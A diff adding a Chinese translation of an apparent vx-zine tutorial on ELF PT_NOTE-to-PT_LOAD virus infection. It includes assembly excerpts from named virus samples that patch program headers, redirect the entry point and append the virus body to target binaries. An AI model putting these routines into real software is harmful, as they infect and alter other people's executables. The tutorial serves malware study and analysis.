+高位寄存器r13、r14和r15是存储数据/地址以供后续使用的好地方,因为它们不会被系统调用破坏。
+
+ ; 栈缓冲区:
+ ; r15 + 0 = 栈缓冲区(10000字节)= stat
+ ; r15 + 48 = stat.st_size
+ ; r15 + 144 = ehdr
+ ; r15 + 148 = ehdr.class
+ ; r15 + 152 = ehdr.pad
+ ; r15 + 168 = ehdr.entry
+ ---cut---
+
+ mov r14, [r15 + 168] ; 将目标原始ehdr.entry从[r15 + 168]存储到r14中
+
+3. 解析程序头表,寻找PT_NOTE段:
+
+正如你可能从本文的标题中推断的那样,我们的目标是将PT_NOTE段转换为可加载的PT_LOAD段,并具有
+rx(或rwx)权限。如果我不提到这个算法对某些二进制文件(如golang二进制文件)以及使用
+-fcf-protection标志编译的任何二进制文件不能"开箱即用",那就太失职了,除非我们做一些我们
+还没有做(或看到)的更多魔法操作。下一期内容,Every0ne?
+
+除了这些边缘情况,基本概念很简单 - PT_LOAD段在运行ELF二进制文件时实际上会被加载到内存中 -
+而PT_NOTE段则不会。但是,如果我们将PT_NOTE段改为PT_LOAD类型,并将内存权限至少更改为读和
+执行,我们就可以在那里放置我们想要运行的代码,将我们的数据写入原始文件的末尾,并更改相关的
+程序头表条目变量以正确加载它。
+
+我们在虚拟地址字段v_addr中放入一个很高的内存值,这样就不会干扰正常的程序执行。然后我们修补
+原始入口点,使其首先跳转到我们新的PT_LOAD段代码,该代码执行它的任务,然后调用原始程序代码。
+
+64位ELF程序头表条目具有以下结构:
+
+ typedef struct {
+ uint32_t p_type; // 4字节
+ uint32_t p_flags; // 4字节
+ Elf64_Off p_offset; // 8字节
+ Elf64_Addr p_vaddr; // 8字节
+ Elf64_Addr p_paddr; // 8字节
+ uint64_t p_filesz; // 8字节
+ uint64_t p_memsz; // 8字节
+ uint64_t p_align; // 8字节
+ } Elf64_Phdr;
+
+
+在这段来自kropotkin.s的代码片段中,我们通过将PHT的偏移加载到rbx中,将PHT条目数加载到ecx中,
+并读取条目开头的前4个字节来循环遍历每个程序头表条目,寻找值为4的条目,这是为PT_NOTE类型段
+指定的数字。
+
+parse_phdr:
+ xor rcx, rcx ; 将rcx置零
+ xor rdx, rdx ; 将rdx置零
+ mov cx, word [rax+e_hdr.phnum] ; rcx包含PHT中的条目数
+ mov rbx, qword [rax+e_hdr.phoff] ; rbx包含PHT的偏移
+ mov dx, word [rax+e_hdr.phentsize] ; rdx包含PHT中一个条目的大小
+
+ loop_phdr:
+ add rbx, rdx ; 每次迭代,加上一个PHT条目的大小
+ dec rcx ; 减少phnum,直到我们遍历完所有程序头或找到
+ ; PT_NOTE段
+ cmp dword [rax+rbx+e_phdr.type], 0x4 ; 如果是4,我们找到了一个PT_NOTE段,
+ ; 并转到感染它
+ je pt_note_found
+ cmp rcx, 0
+ jg loop_phdr
+ ...
+ ...
+ pt_note_found:
+
+4. 将PT_NOTE段转换为PT_LOAD段:
+
+要将PT_NOTE段转换为PT_LOAD段,我们必须更改描述该段的程序头表条目中的几个值。
+
+注意,32位ELF二进制文件有不同的PHT条目结构,p_flags值是结构体中的第7个条目,而在其64位
+对应项中是第2个条目。
+
+ typedef struct {
+ uint32_t p_type; <-- 将此值更改为PT_LOAD == 1
+ uint32_t p_flags; <-- 更改为至少具有读+执行权限
+ Elf64_Off p_offset;
+ Elf64_Addr p_vaddr; <-- 段将被加载的很高的虚拟地址
+ Elf64_Addr p_paddr;
+ uint64_t p_filesz;
+ uint64_t p_memsz;
+ uint64_t p_align;
+ } Elf64_Phdr;
+
+首先,p_type必须从PT_NOTE(值为4)更改为PT_LOAD(值为1)。
+
+其次,p_flags必须至少更改为允许读和执行访问。这是一个标准的位掩码,就像unix文件权限一样,
+其中:
+
+ PF_X == 1
+ PF_W == 2
+ PF_R == 4
+
+在fasm语法中,如下所示,这只需简单地输入"PF_R or PF_X"即可。
+
+第三,我们需要为新的病毒数据选择一个加载地址。一个常见的技术是选择一个很高的地址,0xc000000,
+这个地址不太可能与现有段重叠。我们将其添加到stat.st_size文件大小中,在下面的例子中,这个
+大小已从r15+48检索并存储在r13中,然后我们加上0xc000000。然后我们将这个值存储在p_vaddr中。
+
+来自TMZ的Midrashim:
+
+ .patch_phdr:
+ mov dword [r15 + 208], PT_LOAD ; 将[r15 + 208]中的phdr类型从
+ ; PT_NOTE改为PT_LOAD (1)
+ mov dword [r15 + 212], PF_R or PF_X ; 将[r15 + 212]中的phdr.flags
+ ; 改为PF_X (1) | PF_R (4)
+ pop rax ; 将目标EOF偏移恢复到rax中
+ mov [r15 + 216], rax ; phdr.offset [r15 + 216] = 目标
+ ; EOF偏移
+ mov r13, [r15 + 48] ; 将目标stat.st_size从[r15 + 48]
+ ; 存储到r13中
+ add r13, 0xc000000 ; 将0xc000000加到目标文件大小上
+ mov [r15 + 224], r13 ; 将[r15 + 224]中的phdr.vaddr
+ ; 改为r13中的新值
+ ; (stat.st_size + 0xc000000)
+ mov qword [r15 + 256], 0x200000 ; 将[r15 + 256]中的phdr.align设为2mb
+ add qword [r15 + 240], v_stop - v_start + 5 ; 将病毒大小加到[r15 + 240]中的
+ ; phdr.filesz上 + 5用于跳转到
+ ; 原始ehdr.entry
+ add qword [r15 + 248], v_stop - v_start + 5 ; 将病毒大小加到[r15 + 248]中的
+ ; phdr.memsz上 + 5用于跳转到
+ ; 原始ehdr.entry
+
+5. 更改此段的内存保护以允许执行指令:
+
+ mov dword [r15 + 212], PF_R or PF_X ; 将[r15 + 212]中的phdr.flags
+ ; 改为PF_X (1) | PF_R (4)
+
+6. 将入口点地址更改为不会与原始程序执行冲突的区域。我们将使用0xc000000。选择一个在虚拟内存中
+ 足够高的地址,这样加载时不会与其他代码重叠。
+
+ mov r13, [r15 + 48] ; 将目标stat.st_size从[r15 + 48]存储到r13中
+ add r13, 0xc000000 ; 将0xc000000加到目标文件大小上
+ mov [r15 + 224], r13 ; 将[r15 + 224]中的phdr.vaddr改为r13中的新值
+ ; (stat.st_size + 0xc000000)
+
+7. 调整磁盘上的大小和虚拟内存大小以适应注入代码的大小
+
+ add qword [r15 + 240], v_stop - v_start + 5 ; 将病毒大小加到[r15 + 240]中的
+ ; phdr.filesz上 + 5用于跳转到
+ ; 原始ehdr.entry
+ add qword [r15 + 248], v_stop - v_start + 5 ; 将病毒大小加到[r15 + 248]中的
+ ; phdr.memsz上 + 5用于跳转到
+ ; 原始ehdr.entry
+
+8. 将我们转换后的段的偏移指向原始二进制文件的末尾,我们将在那里存储新代码:
+
+ 之前在Midrashim中,执行了这段代码:
+
+ mov rdx, SEEK_END
+ mov rax, SYS_LSEEK
+ syscall ; 在rax中获取目标EOF偏移
+ push rax ; 保存目标EOF
+
+ 在.patch_phdr中,我们使用这个值作为存储新代码的位置:
+
+ pop rax ; 将目标EOF偏移恢复到rax中
+ mov [r15 + 216], rax ; phdr.offset [r15 + 216] = 目标EOF偏移
+
+
+9. 用跳转到原始入口点的指令修补代码的末尾:
+
+ 示例#1,来自Midrashim,使用Binjection的算法:
+
+ .write_patched_jmp:
+ ; 获取目标新EOF
+ mov rdi, r9 ; r9包含fd
+ mov rsi, 0 ; 寻址偏移0
+ mov rdx, SEEK_END ; 从文件末尾开始
+ mov rax, SYS_LSEEK ; lseek系统调用
+ syscall ; 在rax中获取目标EOF偏移
+
+ ; 创建修补的跳转
+ mov rdx, [r15 + 224] ; rdx = phdr.vaddr
+ add rdx, 5 ; 跳转指令的大小
+ sub r14, rdx ; 从我们在步骤#2中存储的e_entry中减去跳转的大小
+ ; (保存e_entry)
+ sub r14, v_stop - v_start ; 减去病毒代码本身的大小
+ mov byte [r15 + 300 ], 0xe9 ; 跳转指令的第一个字节
+ mov dword [r15 + 301], r14d ; 要跳转到的新地址,通过减去病毒大小和跳转指令
+ ; 的大小来更新
+
+ 示例#2,来自sblip/s01den vx,使用elfmaster的OEP技术:
+
+ 解释这种方法超出了本文档的范围 - 参考:
+
+ https://tmpout.sh/1/11.html
+
+ 来自kropotkin.s的代码:
+
+ mov rcx, r15 ; 保存的rsp
+ add rcx, VXSIZE
+ mov dword [rcx], 0xffffeee8 ; 相对调用到get_eip
+ mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5)
+ mov byte [rcx+8], 0x00000005
+ mov word [rcx+11], 0x0002d48
+ mov qword [rcx+13], r9 ; sub rax, entry0
+ mov word [rcx+17], 0x0000548
+ mov qword [rcx+19], r12 ; add rax, sym._start
+ mov dword [rcx+23], 0xfff4894c ; movabs rsp, r14
+ mov word [rcx+27], 0x00e0 ; jmp rax
+
+10. 将我们注入的代码添加到文件末尾:
+
+来自Midrashim:
+
+ 我们直接将代码添加到文件末尾,并将新的PT_LOAD地址指向它。首先,我们使用lseek系统调用
+ 寻址到文件末尾,该文件的文件描述符保存在寄存器r9中。调用.delta将下一条指令的地址压入
+ 栈顶,在这种情况下是'pop rbp'。弹出这条指令然后减去.delta将给你运行时病毒的内存地址,
+ 这在下面读取/复制病毒代码时使用,你可以在'lea rsi, [rbp + v_start]'中看到 - 提供了
+ 读取要写入字节的起始位置,要写入的字节数在调用pwrite64()之前放入rdx中。
+
+ .append_virus:
+ ; 获取目标EOF
+ mov rdi, r9 ; r9包含fd
+ mov rsi, 0 ; 寻址偏移0
+ mov rdx, SEEK_END ; 从文件末尾开始
+ mov rax, SYS_LSEEK ; lseek系统调用
+ syscall ; 在rax中获取目标EOF偏移
+ push rax ; 保存目标EOF
+
+ call .delta ; 古老的技巧
+ .delta:
+ pop rbp
+ sub rbp, .delta
+
+ ; 将病毒主体写入EOF
+ mov rdi, r9 ; r9包含fd
+ lea rsi, [rbp + v_start] ; 将v_start地址加载到rsi中
+ mov rdx, v_stop - v_start ; 病毒大小
+ mov r10, rax ; rax包含来自前一个系统调用的目标EOF偏移
+ mov rax, SYS_PWRITE64 ; 系统调用#18,pwrite()
+ syscall
+
+PT_NOTE感染算法的好处是相对容易学习,而且非常灵活。它可以与其他技术结合使用,任何类型的
+数据都可以存储在转换后的PT_LOAD段中,包括符号表、原始数据、DT_NEEDED对象的代码,甚至是
+完全独立的ELF二进制文件。我希望这篇文章对任何学习x64汇编语言以用于操作ELF二进制文件的人
+都有帮助。
\ No newline at end of file
diff --git a/1/zh/3.html b/1/zh/3.html
new file mode 100644
index 0000000..a653374
--- /dev/null
+++ b/1/zh/3.html
@@ -0,0 +1,266 @@
+
+
+ |